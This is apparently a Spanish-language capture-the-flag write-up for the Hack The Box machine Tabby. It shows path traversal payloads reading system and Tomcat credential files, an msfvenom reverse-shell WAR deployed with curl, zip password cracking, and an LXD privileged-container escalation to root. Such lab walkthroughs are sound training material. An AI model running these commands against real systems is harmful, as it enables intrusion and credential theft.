This page looks best with JavaScript enabled

Hack The Box - Tabby

 •  ✍️ sckull

En Tabby descubrimos una vulnerabilidad LFI y, que con DotDotPwn logramos obtener la direccion o payload para leer documentos lo que nos llevo a leer las credenciales de Tomcat, con este ultimo logramos subir un Payload para obtener una shell inversa utilizando Curl. Crackeamos con Fcrackzip un archiv zip lo que nos dio acceso a un segundo usuario. Escalamos privilegios creando un contenedor privilegiado utilizando LXC.

Informacion de la Maquina

Nombre Tabby box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.194
Maker

egre55

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.9, 6.5, 6.4, 3.6, 3.5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[8, 9, 9, 1, 1],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto http tomcat (8080), http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.80 scan initiated Thu Sep 24 01:03:09 2020 as: nmap -p- --min-rate 1000 -o allports 10.10.10.194
Warning: 10.10.10.194 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.194 (10.10.10.194)
Host is up (0.13s latency).
Not shown: 64652 closed ports, 880 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

# Nmap done at Thu Sep 24 01:05:44 2020 -- 1 IP address (1 host up) scanned in 154.47 seconds

# Nmap 7.80 scan initiated Thu Sep 24 01:06:26 2020 as: nmap -p22,80,8080 -sC -sV -o serviceports 10.10.10.194
Nmap scan report for 10.10.10.194 (10.10.10.194)
Host is up (0.068s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 24 01:06:41 2020 -- 1 IP address (1 host up) scanned in 15.55 seconds

HTTP

Encontramos una pagina web en el puerto 80 que ofrece servicios de hosting.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
6
7
8
9
kali@kali:~/htb/tabby$ gobuster dir -u http://10.10.10.194/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/assets (Status: 301)
/favicon.ico (Status: 200)
/files (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/news.php (Status: 200)
/Readme.txt (Status: 200)
/server-status (Status: 403)

Las direcciones que encontramos no tienen algo que nos pudiera ayudar pero, al revisar el codigo fuente de la pagina principal vemos que el boton News en el nav, nos redirige hacia otra pagina con el dominio megahosting.htb el cual agregamos a nuestro archivo /etc/hosts a la IP de la maquina. Regresamos nuevamente a la pagina y vemos que la URL se le pasa un archivo (?file=statement), posiblemente tenga una vulnerabilidad de LFI.

image

DOTDOTPWN - LFI

Utilizamos la herramienta dotdotpwn la cual nos ayudo a identificar la vulnerabilidad LFI en la pagina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
kali@kali:~/htb/tabby$ dotdotpwn -m http-url -u http://megahosting.htb/news.php?file=TRAVERSAL -k "root:" -t .2 -q
#################################################################################
#                                                                               #
#  CubilFelino                                                       Chatsubo   #
#  Security Research Lab              and            [(in)Security Dark] Labs   #
#  chr1x.sectester.net                             chatsubo-labs.blogspot.com   #
#                                                                               #
#                               pr0udly present:                                #
#                                                                               #
#  ________            __  ________            __  __________                   #
#  \______ \    ____ _/  |_\______ \    ____ _/  |_\______   \__  _  __ ____    #
#   |    |  \  /  _ \\   __\|    |  \  /  _ \\   __\|     ___/\ \/ \/ //    \   #
#   |    `   \(  <_> )|  |  |    `   \(  <_> )|  |  |    |     \     /|   |  \  #
#  /_______  / \____/ |__| /_______  / \____/ |__|  |____|      \/\_/ |___|  /  #
#          \/                      \/                                      \/   #
#                              - DotDotPwn v3.0.2 -                             #
#                         The Directory Traversal Fuzzer                        #
#                         http://dotdotpwn.sectester.net                        #
#                            dotdotpwn@sectester.net                            #
#                                                                               #
#                               by chr1x & nitr0us                              #
#################################################################################

[+] Report name: Reports/megahosting.htb_09-24-2020_01-28.txt

[========== TARGET INFORMATION ==========]
[+] Hostname: megahosting.htb
[+] Protocol: http
[+] Port: 80

[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (unix)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 11028

[=========== TESTING RESULTS ============]
[+] Ready to launch 5000.00 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)

[+] Replacing "TRAVERSAL" with the traversals created and sending
. 
[*] Testing URL: http://megahosting.htb/news.php?file=../../../../etc/passwd <- VULNERABLE

[*] Testing URL: http://megahosting.htb/news.php?file=../../../../../etc/passwd <- VULNERABLE

[*] Testing URL: http://megahosting.htb/news.php?file=../../../../../../etc/passwd <- VULNERABLE
. . 
[*] Testing URL: http://megahosting.htb/news.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd <- VULNERABLE

[*] Testing URL: http://megahosting.htb/news.php?file=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd <- VULNERABLE

[*] Testing URL: http://megahosting.htb/news.php?file=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd <- VULNERABLE
. ^C
[+] Total Traversals found: 6
[-] Fuzz testing aborted
[+] Report saved: Reports/megahosting.htb_09-24-2020_01-28.txt

Vemos la lista de usuarios que podriamos utilizar posteriormente.
image

Además de ello logramos obtener el codigo fuente de la pagina vulnerable:

1
2
3
4
5
6
7
8
<?php
$file = $_GET['file'];
$fh = fopen("files/$file","r");
while ($line = fgets($fh)) {
  echo($line);
}
fclose($fh);
?>

Realizamos una busqueda de archivos conocidos de linux por posibles contraseñas o configuraciones para ingresar pero no encontramos nada.

HTTP - PUERTO 8080

Encontramos una pagina web en el puerto 8080 en Apache Tomcat, donde vemos un mensaje que indica que Tomcat se instalo satisfactoriamente y muestran algunas direcciones de la maquina, pero lo interesante es la nota que dejan.
image

Indica que los usuarios estan “definidos” en la direccion /etc/tomcat9/tomcat-users.xml.

1
NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". Users are defined in /etc/tomcat9/tomcat-users.xml.

Y tambien algunas variables que son necesarias para tomcat, como CATALINA_HOME y CATALINA_BASE:

1
Tomcat veterans might be pleased to learn that this system instance of Tomcat is installed with CATALINA_HOME in /usr/share/tomcat9 and CATALINA_BASE in /var/lib/tomcat9, following the rules from /usr/share/doc/tomcat9-common/RUNNING.txt.gz.

Al utilizar tal direccion en la pagina con vulnerabilidad LFI no resulto, aunque el archivo RUNNING.txt.gz es posible obtenerlo pero no de forma completa. Por lo que instalamos tomcat9 en nuestra maquina para verificar que archivos son los que se pueden encontrar en tales carpetas. Vemos que existen algunos archivos dentro de la carpeta /usr/share/tomcat9/ en los cuales al pasarlo en la pagina vulnerable podemos leerlo, incluyendo el archivo tomcat-users.xml.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
kali@kali:~/htb/tabby$ tree /usr/share/tomcat9/
/usr/share/tomcat9/
├── bin
│   ├── bootstrap.jar
│   │   [... REDACTED ...]
├── default.template
├── etc
│   ├── catalina.properties
│   ├── context.xml
│   ├── jaspic-providers.xml
│   ├── logging.properties
│   ├── server.xml
│   ├── tomcat-users.xml
│   └── web.xml
├── lib
│   ├── annotations-api.jar -> ../../java/tomcat9-annotations-api.jar
│   [... REDACTED ...]
└── logrotate.template

3 directories, 48 files

Encontramos un usuario y contraseña en http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml el cual tiene los roles admin-gui y manager-script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>

[... REDACTED ...]

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
	
	[... REDACTED ...]

   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

Intentamos ingresar con las credenciales al panel pero recordemos que en el mensaje del index indica que los usuarios con roles admin-gui no tienen acceso al panel de /manager

image

Intentamos en /host-manager/html donde logramos ingresar, mas no logramos hacer nada.

image

TOMCAT - USER

Intentamos utilizar el exploit tomcat_mgr_upload de metasploit pero este mostraba errores ya que la pagina /manager esta “desactivada”, exploramos otras opciones y encontramos Tomcat exploit variant : host-manager pero este solo funciona en maquinas Windows. Investigamos un poco sobre como se sube estos archivos (.war) y encontramos que es posible subir estos mediante curl utilizando las credenciales y un archivo .war sin necesidad de acceder al GUI de la aplicacion.

Para ello vamos a tener que crear un payload como en la maquina THM/BSIDESGT - THOMPSON y poner a la escucha metasploit:

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=tun0 LPORT=1338 -f war > batman.war

Y realizamos el deploy de nuestro archivo:

1
curl --upload-file batman.war --user 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/batman&update=True"

Ponemos a la escucha metasploit o netcat en el puerto indicado en el payload y ejecutamos nuestra “applicacion” o batman.war visitando la siguiente url:

1
curl --user 'tomcat:$3cureP4s5w0rd123!' http://10.10.10.194:8080/batman

Logramos obtener una shell con usuario tomcat.
image

ASH - USER

En el directorio /var/www/html/files encontramos un archivo zip el cual esta protegido con contraseña, utilizamos fcrackzip para obtener la contraseña y el contenido de este archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
tomcat@tabby:/var/www/html/files$ ls -lah
ls -lah
total 36K
drwxr-xr-x 4 ash  ash  4.0K Jun 17 21:59 .
drwxr-xr-x 4 root root 4.0K Jun 17 16:24 ..
-rw-r--r-- 1 ash  ash  8.6K Jun 16 13:42 16162020_backup.zip
drwxr-xr-x 2 root root 4.0K Jun 16 20:13 archive
drwxr-xr-x 2 root root 4.0K Jun 16 20:13 revoked_certs
-rw-r--r-- 1 root root 6.4K Jun 16 11:25 statement
tomcat@tabby:/var/www/html/files$

Aunque encontramos la contraseña, al descomprimir el archivo no logramos leer alguna credencial dentro de los archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
kali@kali:~/htb/tabby$ fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip 

PASSWORD FOUND!!!!: pw == admin@it

kali@kali:~/htb/tabby$ tree var/
var/
└── www
    └── html
        ├── assets
        ├── favicon.ico
        ├── files
        ├── index.php
        ├── logo.png
        ├── news.php
        └── Readme.txt

4 directories, 5 files
kali@kali:~/htb/tabby$

Utilizamos la contraseña del archivo comprimido que encontramos con el usuario ash en la maquina y logramos obtener una shell con este usuario y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con id y vemos que el usuario pertenece al grupo de lxd.

1
2
3
4
ash@tabby:~$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
ash@tabby:~$

Ya que este usuario pertenece a este grupo (lxd) vamos a escalar privilegios a traves de este al igual que en las maquinas presentadas en THM - LXD.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#LOCAL
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a i686

#MACHINE
lxc image import ./alpine-v3.12-i686-20200924_0424.tar.gz --alias myimage
lxc image list

#Si no funcionan los comandos --> lxd init
lxc init myimage sckull -c security.privileged=true
lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
lxc start sckull
lxc exec sckull /bin/sh

Logramos obtener una shell root y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ash@tabby:~$ lxc image import ./alpine-v3.12-i686-20200924_0424.tar.gz --alias myimage
<ine-v3.12-i686-20200924_0424.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

ash@tabby:~$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| myimage | 850be888e99a | no     | alpine v3.12 (20200924_04:24) | i686         | CONTAINER | 3.07MB | Sep 24, 2020 at 8:40am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
ash@tabby:~$ lxc init myimage sckull -c security.privileged=true
lxc init myimage sckull -c security.privileged=true
Creating sckull
ash@tabby:~$ lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to sckull
ash@tabby:~$ lxc start sckull
lxc start sckull
ash@tabby:~$ lxc exec sckull /bin/sh
lxc exec sckull /bin/sh
~ # whoami
whoami
root

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe